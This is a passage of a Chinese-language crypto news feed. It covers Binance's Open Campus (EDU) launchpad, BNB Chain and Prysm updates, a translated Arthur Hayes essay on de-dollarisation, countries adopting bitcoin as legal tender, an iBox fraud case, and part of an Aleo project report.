6%，FDV约为1亿美元。 EDU代币将被用于以下几个范围： （1）治理：EDU的代币持有者可提交Open Campus的DAO提案并对其进行投票； （2）支付：EDU可用于支付Open Campus提供的产品和服务，部分收益将分配至该协议； （3）链上收益分享：内容创建者、发布者、平台等贡献者可获得协议收益的份额； （4）用户获取：使用EDU的用户访问协议生态系统合作伙伴（例如TinyTap）提供的产品时，可以获得折扣； （5）内容所有权：用户可以通过Publisher NFT与EDU购买共同出版权。 值得一提的是，Open Campus官宣的Launch Partners名单中，除了Animoca Brands，该风投旗下的The Sandbox、Mocaverse、币安前IEO项目Hooked及参与投资的Highstreet等也在其中。由此可以看出，Open Campus与Animoca Brands和币安生态关系非常“亲密”。  ( 2 min )
    BNB Chain计划于5月中旬上线OpBNB测试网，6月1日上线ZkBNB主网
    PANews 4月21日消息，BNB Chain 发布第一季度技术更新，包括 Greenfield 测试网已上线，降低交易费用、BSC 验证者自我权益更新、MEV 研究、Planck 硬分叉升级。同时，该文还指出，计划于 5 月中旬上线 OpBNB 测试网，6 月 1 日上线 ZkBNB 主网，并完成 BEP-206 提案。  ( 1 min )
    Arthur Hayes博文：天下苦美元已久矣，谁将取而代之？
    编译：GaryMa 吴说区块链 原文链接： https://cryptohayes.medium.com/exit-liquidity-3052309e6bfa 注：本文是原文的翻译版本，在翻译过程中进行了部分内容的删减和概括。由于篇幅限制或其他原因，可能有些细节或信息未被完整翻译或被删除。我们建议读者在阅读本文时同时参考原文，以获取更全面的信息。 跟着我心中默念：“我不会成为别人的退出流动性！” 成为别人的 “退出流动性”，意味着你是那些在聪明或有关系的人在卖出时仍在购买或持有的笨蛋之一。在本文的背景下，退出流动性指的是在美元储备货币地位这一经济安排中一直(并将继续)处于失败一方的不幸儿。 关于美元作为全球储备货币的地位能否被取代的争论非常激烈。一方面，某些声音响亮的美国霸权主义者不相信有哪个国家能挺身而出，把世界经济扛在肩上；另一方面，越来越多的迹象表明，某些贸易通道正在去美元化，实际上这种情况已经持续了一段时间。 即使是强大的法国人也厌倦了充当美国的 “毛巾佣人”。法国总统马克龙最近表示，他认为他的国家需要减少“美元的治外法权”。 储备货币地位带来好处，但也让东道国付出了一定的代价。这样做的主要好处是显而易见的——东道国可以随心所欲地印制货币来购买实物商品。但这种好处并没有平均分配给帝国的公民。尽管美国一直保持着世界上最富有国家的地位，但美国的财富不平等程度目前是发达国家中最严重的，而且这种情况还在继续恶化。拥有很少甚至没有金融资产的绝大多数人都能敏锐地感受到成为储备货币的代价。以下是 Pew Research 提供的一些令人沮丧的图表。 就连高盛也开始承认，美国作为全球储备货币发行国的角色正在削弱美国的整体实力，但对他们的担忧，最常见的反驳是：“好吧，谁或什么东西可能取代美元？” 这场辩论提出了几个值得进一步探讨的高度相关的问题，包括: ●去美元化真的在进行吗？在多大程度上？ ●在这个特殊的历史时期，美元作为全球储备货币的角色对大多数美国人有利吗？ ●考虑到历史告诉我们，所有帝国最终都会结束，哪种货币或哪种货币最终会取代美元？ 随着美国主导的全球秩序和国际体系的影响力继续自然衰退，这些问题对于预测全球金融政策将如何发展至关重要。你也许会惊讶地听到，我认为加密货币也是这次讨论的关键部分，但稍后再详细说明。 对于是否存在去美元化这一问题形成观点非常重要，因为这将决定你如何保存财富，尤其是如果你是西方国家的公民。即使你的国家发行自己的法定货币，由于国旗的军事和经济联盟，你仍然是美国的附庸。随着美国金融精英为保持其统治地位而苦苦挣扎，你的资本也有被征用的风险，因为他们的帝国在他们的脚下崩溃。你真的想拿自己的未来做赌注，看看一只疯狂的狗被逼到绝境会做出什么事情吗？你会让自己成为退出流动性的一员吗？ 不过，在我进入主题之前，我们有必要了解一下支撑目前围绕去美元化展开的讨论的简单经济学原理。许多人不理解资本流动和贸易是如何运作的，因此得出了错误的结论。请耐心听我说，我将从支持我观点的基础经济学开始。 当大多数国际贸易以一种货币计价时，这种货币就被称为全球储备货币。为了帮助我们更好地理解全球储备货币的经济影响，我将介绍一个由两个参与者组成的简化的全球经济：美国（全球储备货币发行国和商品消费国）和亚洲(由生产商品的中日组成)。 在这个简单的模型中，美国用美元从亚洲购买商品。亚洲用这些美元从世界其他地方购买能源和原材料，因此它可以为美国生产更多的东西。亚洲现在有很多多余的美元，这些美元是通过销售商品赚来的，它可以用这些美元做两件事： 1. 购买美元计价资产。 2. 出售美元以换取当地货币，并以提高工资的形式将部分收入返还给工人。 从购买力的角度来看，选项一保持亚洲货币被低估，并允许亚洲继续制造和销售廉价商品。选项二对于亚洲的工人来说是可取的，他们将能够消费更多，因为他们将有更高的工资和/或可以购买更便宜的进口商品。但是，选项二并不有利于亚洲的大型企业实业家，因为如果它们的产品价格接近美国的价格水平——受劳动力成本上升和汇率升值的推动——那么它们的产品销量就会减少。 如果没有以下几点，二战后的全球经济就不会是现在的样子（也就是说，美国对亚洲存在贸易和资本赤字）： 1. 美国拥有开放的资本账户。这意味着任何拥有美元的人都可以在美国境内购买任何规模的资产。外国人可以购买在美国上市的股票、在美国注册的公司、美国房地产和美国国债。如果不是这样，亚洲将没有足够的流动性来投资其大量的美元收入。如果亚洲不被允许将其美元收入投资于美国，那么亚洲货币就会升值，工资就会上涨。 2. 美国对进口商品几乎没有关税。没有哪个国家实行真正的自由贸易，但美国一直把提供尽可能接近自由贸易作为优先事项。如果不对亚洲产品征收很少甚至不征收关税，亚洲就无法以低于美国公司在国内生产的价格向美国出售产品。 随着二战后贸易的增长，亚洲需要越来越多的美元，而不管美国国内经济是否需要更多的货币供应。亚洲卖出的东西越多，它必须购买的商品（以美元计算）就越多。如果美国不愿意通过其银行系统（例如，通过其私营部门银行的贷款）向世界提供更多美元，那么美元相对于所有其他货币的价值就会飙升，因为没有足够的美元来促进全球贸易水平的提高。对于那些由于美元借款而长期缺乏美元的人来说，过度膨胀的美元是死亡之吻。 这是美国政治中一个反复出现的大问题。拥有全球储备货币意味着美联储和财政部必须在全球经济需要时以任何必要的方式印刷或提供美元。然而，在全球范围内增加美元的数量可能会引发通货膨胀，从而损害国内选民的利益。 国内选举产生的政治家通常为谁的利益行事？是需要大量廉价美元的外国人，还是希望美元走强以抵御通货膨胀可怕影响的中产工薪阶层？尽管政客们希望帮助普通美国人，但整个世界经济的健康——以及美国保持全球储备货币发行国地位的愿望——通常都是优先考虑的。所以，当被问及的时候，美元几乎总是被提供的。否则，全球金融危机就会随之而来。 举两个最近的例子，看看 1994 年的墨西哥比索危机和 1998 年的亚洲金融危机。在这两种情况下，存款充裕的美国银行——其中许多存款来自拥有大量美元收益的外国人——向外国放贷，以获得更高的收益，并充分利用它们疯狂的存款。大量的美元需要找到一个家，这导致了海外的不当投资。 在这两个例子中，美联储都开始提高短期利率，因为美国经济需要收紧国内货币环境。利率的上升导致银行放慢了向海外放贷的速度。其中许多贷款的质量都是可疑的，如果没有源源不断的来自银行的廉价美元，外国借款人就无法偿还债务。由于依赖美元融资的公司分别在墨西哥和亚洲开始破产，贸易步履蹒跚。银行不得不承认它们的不良贷款，这使它们的偿付能力面临风险。 美联储和财政部现在面临着一个艰难的决定。国内经济需要收紧银根，但将美国人民放在首位也会让美国银行因其国际贷款组合而处于不利地位。你们都已经知道，当金融政策制定者面临支持人民还是支持银行的选择时，会发生什么，所以你可以猜到剩下的——美联储和财政部最终屈服并降低利率以拯救美国银行业。当然，也有一些民选官员大声疾呼，说救助那些向外国人提供不良贷款的银行对他们的选民是多么不公平，但美国的经济模式需要这种政策回应。 美国银行的存款基础将永远大于国内的贷款机会，因为外国人通过出售美元获得的现金涌入银行。银行总是会过度放贷，为了提高今天的收益而牺牲明天。美联储和财政部总是会救助银行，因为他们必须这样做，以防止金融危机使美元变得更加昂贵，并降低其全球供应。当银行大规模收缩美元贷款以修复其资产负债表时，它会在全球范围内消除美元信贷，从而推高美元价格并降低美元供应。 我们刚刚讨论了美元作为全球储备货币对美国银行体系的影响。但是美国的金融资产呢？ 亚洲不只是在美国银行存美元。他们还购买股票、债券和房地产。 最富有的 10% 的美国人拥有 90% 的股票。全球储备货币安排使它们受益匪浅。美联储永远不会让银行系统破产，这意味着它总是会印钱来填补比 SBF 的法律账单更大的漏洞。这些印钞导致金融资产价格上涨。富人也受益，因为外国人在股票、债券和房地产市场提供了持续的购买力。 如果这 10% 的人受益，那另外 90% 的美国人呢？ 以营利为目的的美国公司必须尽其所能实现收入最大化和成本最小化。对于生产实物（而不是软件）的公司来说，劳动力是他们最大的成本之一。马斯克最近解雇了 Twitter 75% 的员工，但该公司的软件仍在继续工作。想象一下，如果通用汽车解雇了同样比例的员工，有多少辆车能出厂? 但请记住，这是在美国，所以制造商必须找到一些方法来保持利润。如果美国公司能把工厂迁出美国，利用亚洲的廉价劳动力，这不是很好吗？亚洲有意低估其货币，压制其劳动力的工资和谈判能力。如果这些公司可以在国外生产更便宜的产品，然后以更便宜的价格卖回美国，而不征收进口关税，这不是很好吗？事情就是这样。企业利润率上升，工会成员人数随着美国制造业基地的毁灭而下降。 全球贸易和服务总量（白色） 标准普尔 500 指数（黄色） Case Shiller 美国全国房价指数（绿色） 制造业增加值占美国 GDP 的百分比（紫色） 从这张图表中可以看出，股票和房地产等金融资产从全球化中得到了显著提振。世界贸易越多，需要回流到美国的美元就越多。然而，美国的劳动力并没有得到同样的好处，这一点可以从紫色的下降线中得到证明，紫色线代表了制造业增加值占美国 GDP 的百分比。基本上，如果你是美国人，你最好学习金融工程，而不是如何设计实际的产品制造。 NDR 的这张历史图表清楚地显示，美国企业的利润率正处于上世纪 50 年代以来的最高水平。然而，在 20 世纪 50 年代，美国是世界工厂（因为在二战的蹂躏之后，其他所有人都一贫如洗）。到 2023 年，东方一大国将占据这一角色，但美国企业仍享有与美国制造业实力鼎盛时期相似的利润率。 公司高管们用慷慨的股票期权奖励自己。这些大佬们还通过股票回购和股息回报股东（包括他们自己），同时减少资本支出，这导致 CEO 的平均收入是普通员工的 670 倍。看一看下面的图表，就能更全面地了解美国公司的薪酬扭曲。 好的制造业工作消失了，但是现在你可以开优步了，所以没有伤害，没有犯规，对吧？我这么说有点轻率，但你明白我的意思。 只要美国继续觊觎其作为全球储备货币发行国的地位，这种结果肯定会持续下去——而且可能会恶化。为了保持其在货币宝座上的地位，美国必须始终善待资本而不是劳动力。它必须允许亚洲将美元投资于金融资产。投资于股票市场的资本要求有回报。资本将要求高管们继续通过降低成本来提高利润率。要降低成本，就必须用廉价的外国劳动力取代昂贵的国内劳动力。如果美国不以这种方式对待资本，那么亚洲就没有动力以美元出售商品（因为它无法用这些美元购买或投资任何东西）。 如果美国诉诸于支持制造业的重商主义政策，那么美国与亚洲的贸易将需要以一种中立的储备货币进行。所谓中性，我指的是一种不是由一个国家单独发行的货币。黄金是中性储备货币的一个例子。 目前的贸易安排使管理美国的金融精英受益，但也惠及了亚洲的普通民众，他们在一场毁灭性的全球冲突后正在重建自己的国家。这就引出了下一个重要问题——亚洲有什么理由想要改变这种关系吗？ 在某些方面，中国和日本，那两个东方大国有着非常相似的文化和经济。这些国家变得富裕起来，平均生活水平比二战前高得多。当然，一般来说，劳动力并没有从国家不断提高的整体生产率中得到全部好处，但同样，目标从来都不是以牺牲群体为代价来实现个人的繁荣。 因此，当亚洲看到目前的经济安排让他们走了多远，然后看到美国目前不稳定的地位时，他们不得不问自己，“成为储备货币发行国是我们应该争取的吗？” 不。亚洲希望通过向富有的美国人出售商品来提高当地人的生活水平。东方大国不希望资金流出该地区，用于购买进口商品。亚洲变得富裕的全部原因是它限制了外国人以有吸引力的价格向当地人出售商品。名义上，亚洲是世界贸易组织的成员，致力于自由贸易。在实践中，亚洲有多种方式限制外国产品在国内公平竞争的能力。美国非常乐意对此视而不见，因为控制这个国家的金融精英正是那些从海外廉价商品和劳动力中获益的公司的所有者。 而且，这两国家对外部资金也呈现排斥态度。 美国和那两个国家都负债累累。如果算上未来强制性福利（美国社会保障和医疗保险）的现值，这三个国家的债务与 GDP 之比都超过 200%。美国和亚洲的区别在于，美国债务的很大一部分由外国人持有，而亚洲债务主要是自己欠自己的。这不会改变债务得到偿还的可能性，但确实会影响清算发生的速度。 当债务必须迅速偿还时，金融危机就会随之而来。如果债务主要集中在主权层面，这种债务的加速偿还将导致彻底违约和政权更迭。你可以看看阿根廷的历史，更好地理解这在政治上是如何发挥作用的。 亚洲那两个国家知道它们的杠杆率过高。然而，由于资本不能自由进出，当局在决定谁来承担损失以及这些损失实现的速度方面有很大的自由度。1989 年，日本经历了房地产和股市泡沫的严重破裂。当时的政策反应是，通过量化宽松和收益率曲线控制，从金融上抑制储户，这一政策至今仍是日本的政策。过去 30 年来，银行体系和企业部门一直在去杠杆化。在这段时间里，经济几乎没有增长，但也没有出现社会动荡，因为救助的成本将在更长的时间内摊销。同时，这个国家的房地产泡沫已经破裂，实际增长率可能在 0% 到 2% 之间，而不是宣传的 6% 到 8%，其目前正在经历一个痛苦的政治过程，即由谁来承担巨额不当投资及其相关债务的损失。 综上，我自信地断言，亚洲不想成为全球储备货币的发行国。亚洲不愿接受全球储备货币的必要支柱： 1. 亚洲不希望允许外国人以他们喜欢的任何规模拥有他们想要的任何资产。 2. 亚洲不想在很大程度上剥夺劳动力相对于资本的权利。 3.亚洲希望按照自己的时间尺度去杠杆化，这意味着不允许外国人像美国那样拥有大量政府债务或其他金融资产，也不允许外国资本随心所欲地来去。 但仅仅因为亚洲不愿意制定成为全球储备货币发行国所需的政策，并不一定意味着亚洲希望继续积累和交易美元。 在当前围绕未来全球经济安排的讨论中，去美元化得到了很多关注。然而，去美元化的概念并不是什么新现象。 记住我的简单全球经济模型：亚洲通过向美国出售商品赚取美元。这些美元必须再投资于美元价值的资产。美国国债是亚洲可以投资的规模最大、流动性最强的资产。 2008 年是美元霸权的顶峰。美国银行业如期引发了又一场全球金融危机。一如既往，美联储的反应是印钞以拯救美元银行体系。持有美国国债的人不喜欢被反复捉弄。在接下来的十年里，印钞的数量如此惊人，以至于美国国债的持有者开始大量抛售。 生产国转而开始购买什么呢？黄金。这是一个需要理解的极其重要的概念，因为它为我们提供了一个重要的线索，让我们知道哪种资产最有可能取代美元，成为国家间贸易和投资流动结算的未来货币。 新兴市场（EM）央行持有的黄金比例在 2008 年触底，也就是说，与此同时美元处于最强势的时期。在金融危机之后，全球南方国家认为，他们已经受够了作为美国体系下的退出流动性，于是开始储蓄黄金，而不是美国国债。 综合来看，这两张图表清楚地表明，去美元化始于 2008 年，而不是 2023 年。 理解过去 15 年的顶级经济运动，可以让我们理解东方两大国为什么以及如何改变他们的行为。当你的整个经济模式都建立在向美国销售产品并将收益投资于美国的基础上时，你就失去了财务独立性。不管你喜不喜欢，这两大国的央行都在借鉴美联储的货币政策。这本身可能已经够糟糕的了，但亚洲数万亿美元的财富也依赖于美国政客的善举。正如俄罗斯最近发现的那样，法治和产权并非牢不可破。 投资者此前青睐 “发达市场”（尤其是美国）的原因之一，是那里没有政治风险。政治风险是当权力从一个执政党转移到另一个执政党时，新上台的政党监禁反对派，和/或改变前政权制定的规章制度的风险，只是因为它们属于不同的政党。作为政治动荡国家的投资者，当你的注意力完全集中在政治权力动态上时，你无法关注一种资产与另一种资产的优劣。投资者没有参与这种高风险的活动，而是选择将资金放在一个政治安排稳定的环境中。此前是美国。 自 1865 年美国内战结束以来，权力在民主党和共和党之间无缝转移。美国总统和其他国家元首一样不老实——但为了这个体制，精英们成功地在彼此之间传递了接力棒，而没有太多酸葡萄的感觉。前总统理查德·尼克松因在任期间违反法律而被弹劾，他的继任者杰拉尔德·福特总统赦免了他。 多年来，资本对美国政治没有什么可担心的。这种情况已经改变。前总统特朗普被纽约市一家法院起诉，罪名是各种涉嫌犯罪。特朗普或许是土生土长的纽约人，但这座城市对他毫无好感。他的指控是否有道理并不重要。重要的是全国一半的人投了他的票，而另一半人没有。一个政治上的引爆点已经被制造出来，这将导致极端的分裂。不管特朗普是赢是输，这个国家的一半人都会感到不安，并认为这个制度已经腐败到了核心。 民主党和共和党的领导人是专注于保护各自的上议院，还是投资者的资本？ 作为资本的管理者，你必须问自己——“在一个存在这些政治和金融问题的政权下，我还想继续持有资产吗？或者我宁愿在（相对）安全的黄金和/或加密货币中安然度过？” 未来将出现各种货币集团，但不会出现全球储备货币霸权。与西方的贸易将继续使用美元，与其他国家的贸易将使用黄金、卢比等。当这些集团之间出现失衡时，它们将以一种中立的储备货币结算。从历史上看，这一直是黄金，我不相信这种情况会改变。如果你能运输笨重的物品，黄金是一种很好的全球贸易货币。政府擅长这类物流——对普通人来说，带着他们的黄金储蓄四处走动有点困难。 随着全球金融体系的分裂，对美国金融资产的需求将减少。曾经生产产品销往世界各地以换取美元的全球南方将开始接受其他货币。如果没有外国对股票和债券的边际需求，价格将会下跌。最大的影响将是，在没有新一轮印钞的情况下，美国债券收益率将需要上升（记住：债券价格下跌，收益率就会上升）。 西方不能允许一般资本从其市场流向加密货币或外国股票和债券市场。他们需要你作为退出流动性。自二战以来积累的巨额债务必须偿还，现在是你的资本被通货膨胀掏空的时候了。资本外逃也必将终结美元作为全球储备货币的地位。 西方不能轻易实施严厉的资本管制，因为开放的资本账户是它所实行的资本主义类型的先决条件。即便如此，如果西方开始意识到大规模资本外流即将到来，几乎可以肯定的是，将资金从体系中撤出将变得更加麻烦和困难。如果你相信我的论点，那么你应该开始从不同的角度看待许多世界大国最近的金融政策变化。 西方国家正在加大购买加密货币并将其存储在私人钱包中的难度。你可以阅读《Operation Choke Point 2.0》和《华尔街日报》来更好地理解这一动态。拜登政府不断暗示，他们可能试图阻止美国投资者在东方大国的各个领域投资。预计还会有其他类似的海外投资限制，这样资本就可以留在国内，并被激进印钞造成的持续高通胀掏空。 自 1971 年以来，投资美元资产已经成为一种无需动脑筋的交易，以至于许多投资者已经忘记了如何进行实际的财务分析。展望未来，黄金和加密货币将成为焦点。它们不依附于某个特定的国家。它们不能被央行任意贬值，央行不顾一切地印制法定货币来支撑其金融体系。最后，随着各国开始寻求自己的最大利益，而不是成为西方金融体系的奴隶，全球南方国家的央行将使其储蓄国际贸易收入的方式多样化。第一选择将是增加黄金配置，这已经在进行中。随着比特币继续证明它是有史以来最硬的货币，我预计，至少会有越来越多的国家开始考虑比特币是否与黄金一样，是一种合适的储蓄工具。 在未来几年，世界将以多种货币进行贸易，然后在需要的时候储存黄金，也许在不久的将来，会储存比特币。  ( 3 min )
    Prysm发布含多项重要修复的v4.0.3版本，建议所有用户升级
    PANews 4月21日消息，据官方推特，以太坊客户端Prysm已发布v4.0.3版本，此版本包含多项重要修复，建议所有用户升级。值得注意的是，此版本包含对外部块生成器代码路径和密钥管理器中漏洞的修复。  ( 1 min )
    反对美元霸权，对抗高通胀，将比特币作为法币的那些国家现在怎么样了？
    作者：一尔  出品：奔跑财经 对于发达国家来说，数字货币是科技领域的伟大畅想，但对于第三世界国家来说，数字货币更多作为维持购买力且不会被剥夺的金融工具。许多国家甚至希望其能够消除金融壁垒，为经济发展提供新的解决方案。 有关于第三世界国家，贫穷、饥饿、暴力是最先联想到的词。而数字货币、比特币这类现代网络的产物，则与第三世界国家格格不入，但数字货币如今却为第三世界国家解决自身金钱困境提供了新思路。 从2021年6月9日萨尔瓦多成为首个将比特币作为法币的国家，再到古巴、中非共和国比特币合法化，众多第三世界国家开始踏上数字货币合法化的道路。以下是对那些将数字货币作为法币的第三世界国家现状的整理和总结。 如果要找出三个词来形容萨尔瓦多，离不开“高犯罪率、高谋杀率、黑帮与暴力”，它也因此被称为世界上最危险的国家之一。2021年之前，美元是该国唯一的法定货币。直至2021年萨尔瓦多国会正式投票通过比特币法案，自此便出现了世界上首个将比特币作为法定货币的国家。 将比特币作为法币的激进举动遭致许多批评。以太坊联合创始人Vitalik Buterin也认为萨尔瓦多总统Nayib Bukele的行为是错误的示范，因为他采用比特币的方式是“自上而下”的。而比特币的忠实追随者大多是有钱有势的人，这项举措将对富人更有利。国际货币基金组织（IMF）也要求萨尔瓦多废除其比特币法，并表示可能因此拒绝为其提供金融援助。 2021年底，该国债务占GDP的占比已经高达85%，国家经济形势已然不容乐观。但萨尔瓦多在采用比特币后的第一年GDP增长了10.3%，因为比特币促进了萨尔瓦多国际旅游业的复苏。 在比特币成为国家法定货币之后，萨尔瓦多还曾提出建设比特币海滩、利用火山地热能源挖比特币、发行比特币债券等一系列计划。 作为一个拥有大量贫困人口的国家，比特币成为法币，似乎对挣扎于贫困线的人口来说极为不利。毕竟，萨尔瓦多的互联网普及率仅为45%。但在今年的2月19日，Bitcoin Archive在社交媒体上发文表示，94%的萨尔瓦多人仍打算投票支持Nayib Bukele继续担任总统，群众并未因总统的比特币计划而放弃对他的支持。 今年以来，萨尔瓦多开始规范数字证券，发行比特币支持的债券，也称为火山债券。 4月18日， 萨尔瓦多持有的BTC总价值相较成本价亏损了29%，但官方认为这个比例相对于政府的财政预算来说只占据了极小的比例。比特币巨大的市场波动在萨尔瓦多当局看来是可以承受的，因为他们押注的是比特币的未来。 今年2月，IMF在对萨尔瓦多进行年度访问后，认为比特币的风险在萨尔瓦多“尚未变成现实”，但仍然不可忽视其“法律风险、财政脆弱性和加密货币市场很大程度上的投机性质”，并提醒政府当局应该重新考虑扩大政府对比特币风险敞口的计划。 2021年6月，与萨尔多瓦仅相隔几天，古巴便宣布成为了第二个将比特币作为法币的国家。古巴作为一个传统的政府，此举并非是为了拥抱先进技术，而是为了应对美国的跨国汇兑制裁。相比于萨尔瓦多的诸多社会性因素，促使古巴做出此决定的更大一部分原因是政治因素。 由于受到美国特朗普政府的禁运制裁，古巴需要绕开美元的框架以规避美国设置的金融限制。再加上古巴当局政府官僚主义盛行、经济高通胀，群众对当局政府的信任度在下降，连带着对原来的法币比索也愈加不信任。在许多古巴人看来，比特币比比索更值得相信。因此，移动互联网适时地开始在古巴普及，许多古巴人转而开始使用比特币。 在经济被孤立的情形下，数字货币为古巴提供了资金来源，并开始在古巴更大范围的使用。2021年9月，古巴中央银行发布的承认比特币（BTC）等加密货币法案开始生效，加密货币现在已成为古巴商业交易的合法支付方式。 加密货币作为法币后一年，美国媒体NBC News发布的一份报告指出，由于制裁原因古巴人不能使用PayPal、Revolut、Zelle和许多其他国际通用的信用卡或借记卡，超过10万名古巴人正在使用比特币和其他加密货币来应对美国的制裁。 美国自1962年开始的经济制裁已经持续60年，如今的拜登政府仍然未放松对古巴的经济封锁，古巴只能自己寻找经济出路。有媒体报道，均经受着美国制裁的俄罗斯和古巴，正在研究跨境支付的替代方案，加密货币为古巴提供了一个选择，以规避被施加的金融限制。 2022年4月21日，中非共和国国民议会一致通过一项法案，将比特币作为法定货币，成为世界上第一个采用比特币作为官方货币的非洲国家。在宣布采用比特币作为法定货币后，其又推出了Sango Coin，成为首个创建国家加密货币的非洲国家。 中非共和国是非洲一个人口略超过500万的小国家。除了动荡的政治局势外，它还被认为是世界上最贫穷的国家之一。由于早期是法国的殖民地，其一直采用中非法郎作为法定货币，但随着法国开始采用欧元，中非法郎的价值正在下降，因此，政府将视线转移到了加密货币身上，准备将其融入国家经济。 中非共和国经济以农业为主，工业基础薄弱，80%以上的工业品靠进口。因政局动荡、战乱不止，许多生产无法正常进行，经济形势也在不断恶化。 作为一个贫穷的非洲小国，互联网覆盖率仅为11%。而且，在中非共和国，只有大约14%的人能够用电，仅有不到一半的人拥有手机。 因为诸多现实摆在眼前，中非共和国采用加密货币这一举动引起了加密领域许多专家的注意，并遭到了国际货币基金组织的警告。但中非共和国仍坚持将加密货币纳入国家经济，已于2022年7月25日推出基于比特币侧链的Sango平台，并开启Sango代币预售，计划于不久的几周内将Sango Coin在加密货币交易所上市。 而在当下，对于中非共和国来说，比特币的普及面临难题，群众仍然习惯使用货币购买商品，而不是比特币。目前网络的基础设施无法实现，智能手机也尚未得到普及。 2018年2月20日，委内瑞拉正式预售由政府官方发行的石油币（Petro），这是人类历史上第一个由国家发行的法定数字货币。石油币预计在2018年9月正式启用并流通，这也就意味着，委内瑞拉会同时采用两种法定货币进行交易——玻利瓦尔（法币）与石油币。 石油币是与该国石油、天然气、黄金和钻石储备直接挂钩的官方数字货币。根据石油币白皮书显示，每个“石油币”与1桶石油等价，总发行量共1亿枚。 石油币发行后，马杜罗政府一直积极地推广石油币。公民可以使用石油币买房，并在各大银行开设了石油币柜台，促进石油币的转账和流通。并且，委内瑞拉央行会实时更新石油币兑其他国家法币的汇率，增加石油币的国际流通。委内瑞拉政府也开始通过石油币向所有退休人员发放养老金或救济金。总统马杜罗还表示，以后委境内的水电及税收都将通过石油币支付。政府不仅在国际支付场景中推动石油币的使用，也强制性地将石油币切入居民的日常生活中。 2019年，委内瑞拉宣布与美国断交，美国持续对其进行金融管制和石油制裁。此后，石油币也成为了委内瑞拉人转移资金以规避美国制裁的最佳方式。 2022年1月13日，太平洋岛国汤加的前议员Lord Fusitu’a分享了采用比特币作为法定货币的具体做法。Fusitu’a表示，此举可以让10万多汤加人加入比特币网络，而汤加的总人口数才12万。并且，该法案的提出是以萨尔瓦多的法案为蓝本的。 Fusitu’a向外媒透露，其提出将比特币作为法币的重要原因是，“发展中国家的家庭在向国内汇款时，失去了那么多从中间商那里获得的急需的收入”。“汤加约有40%的国民经济是建立在近30万海外劳工寄回本国的汇款上的。他们把钱寄回给岛上大约12万人口。汤加有两倍以上的人口是居住在海外的侨民，因此汇款对国民经济至关重要”。 据悉，汤加有可能在2023年第二季度将比特币作为法定货币，并且在第三季度开启比特币挖矿。 在全球的美元霸权下，小国货币只能沦为附庸，任何陷入金钱或者货币危机的国家都将数字货币视为出路。美国经济学家麦金农就曾提出“小国货币的原罪”的理论——小国货币单独采取措施抗衡美元的结果无异于“自杀”。小国经常项目无论是逆差还是顺差，最后都会对本国经济不利，只有保持经常项目收支平衡，并且与大国货币汇率保持稳定，才能避免损失。 对于大国来说，数字货币更多作为一项可投资的资产，而对于那些贫穷的第三世界国家来说，数字货币是真真正正流通的货币，也是美元霸权下，摆脱经济封锁的为数不多的选择。未来还会有更多第三世界国家走向数字货币法币化的道路，比如面临高通胀的阿根廷、拉丁美洲最小的国家巴拉圭等等，数字货币也为这些国家寻求独立自主的金融货币体系提供了新的思路。  ( 2 min )
    数字藏品平台iBox被指涉嫌诈骗，多地警方立案
    PANews 4月21日消息，据澎湃新闻报道，4月12日，多名iBox用户反映，他们在海南链盒科技旗下iBox平台购买数字藏品时被诈骗。用户杨先生介绍，目前，四五十人加入了维权微信群，QQ群则有500多人。“不少学生也遭到了诈骗，有的金额高达几十万。”针对多名用户报案称被链盒科技诈骗，4月13日，海南省澄迈县公安局正式受理该案。此前，国内多地警方以涉嫌诈骗立案。  ( 1 min )
    币安将上线第31个Launchpad项目Open Campus（EDU）
    PANews 4月21日消息，据官方公告，币安将上线第31个Launchpad项目Open Campus（EDU），并开启BNB专场，此次售卖将基于投入模式，币安将根据用户5日的BNB日平均持仓确定用户可投入额度。 BNB持仓快照周期：2023年04月23日上午08:00至2023年04月28日上午08:00（东八区时间）。  ( 1 min )
    项目调研丨ZK赛道融资最大的项目Aleo研究报告
    编辑丨YuanShan@Web3CN.Pro 一、项目简介 二、项目愿景 三、特色和优势 四、发展历史 五、团队背景 六、融资信息 七、发展成果 八、经济模型 九、基本面分析 十、行业分析 十一、风险与机遇 Aleo是第一个采用零知识证明（ZKP）技术、提供完全私有应用程序的Layer1区块链，为用户提供具有绝对隐私的无限计算。Aleo通过构建一个默认为私有、开源的区块链，解决区块链隐私保护的缺点。用户使用Aleo，可以访问真正个性化的Web服务世界，在得到隐私保障同时又可以管理自己的数据，并且享受高效、安全的网络服务。 兼顾隐私性和可编程性是Aleo最大的创新之处。 Aleo团队认为，在下一个十年，Web服务将无处不在，它将不再只是局限于浏览器，还存在更多的地方，并且对人们生活的每个私密细节都在进行智能计算。而人们的个人生活已经成为一种“公共商品”，不论生活在哪里都随着网络服务的发展变得更加个性化。因此，人们和自己的数据的关系，人们如何管理自己的数据是未来每个人都应思考的问题。 信息泄露、数据隐私问题是当前互联网频繁看到的现象，Aleo的愿景就是解决这一问题，同时构建真正个人的和隐私的网络用户体验。Aleo大力倡导区块链生态系统中的隐私技术，并提供在网络应用程序中体现隐私技术的服务平台，以此增加世界各地的数字自由和访问。Aleo CEO Alex Pruden称：为世界提供安全和可扩展的应用程序。 Aleo和其它公链的不同且独特之处在于对隐私的保护和链上可扩展性。当前区块链搭载的智能合约有两个很大的限制： 它们在设计上是完全公开、透明的，因此不允许隐私的存在； 它们不能扩展到数百万、更不用说数十亿的用户，意味着无法支持亿万用户级别的线上实时游戏或活动。 针对上述现象，Aleo网络基于零知识证明密码学，解决当前公链既保护隐私又支持处理海量数据（可扩展性）的难题。 既解决当前互联网数据泄露的困境，又完善当前区块链数据信息公开透明的缺点，同时还实现和当前互联网平台相媲美的海量数据实时处理及丰富的可扩展性，这是Aleo项目为市场关注的特别之处。 下图能够更直观、清晰地了解Aleo网络的特色： 四、发展历史 2019年，Aleo成立 2020年8月19日正式对外官方宣布，推出开发者版本 2021年年初，推出官方AleoDiscord服务器 2021年4月20日，A轮融资2800万美金 2021年6月3日，获得财政部100万美元拨款，推出Aleo社区奖励计划，Leo编程大赛 2021年8月16日，正式开始Aleo设置（挖矿），同时Testnest1上线 2021年12月6日，正式上线激励测试网Testnet2，节点超10000个，产生了数百万个零知识证明 2022年2月7日，B轮融资2亿美金 2022年3月，Aleo推出大使计划，Testnet3准备上线 2022年8月19日，ALeoDiscord官方通告ALeoTestnet3三个测试阶段将延期 2022年11月10日，Aleo网络启动三测第二阶段 2023年1月24日，Aleo发布2023路线图 预计2023年7月，Aleo主网上线。 Aleo由HowardWu、MichaelBeller、CollinChin和RaymondChu于2019年正式成立，其中Howard Wu是Aleo的创始人 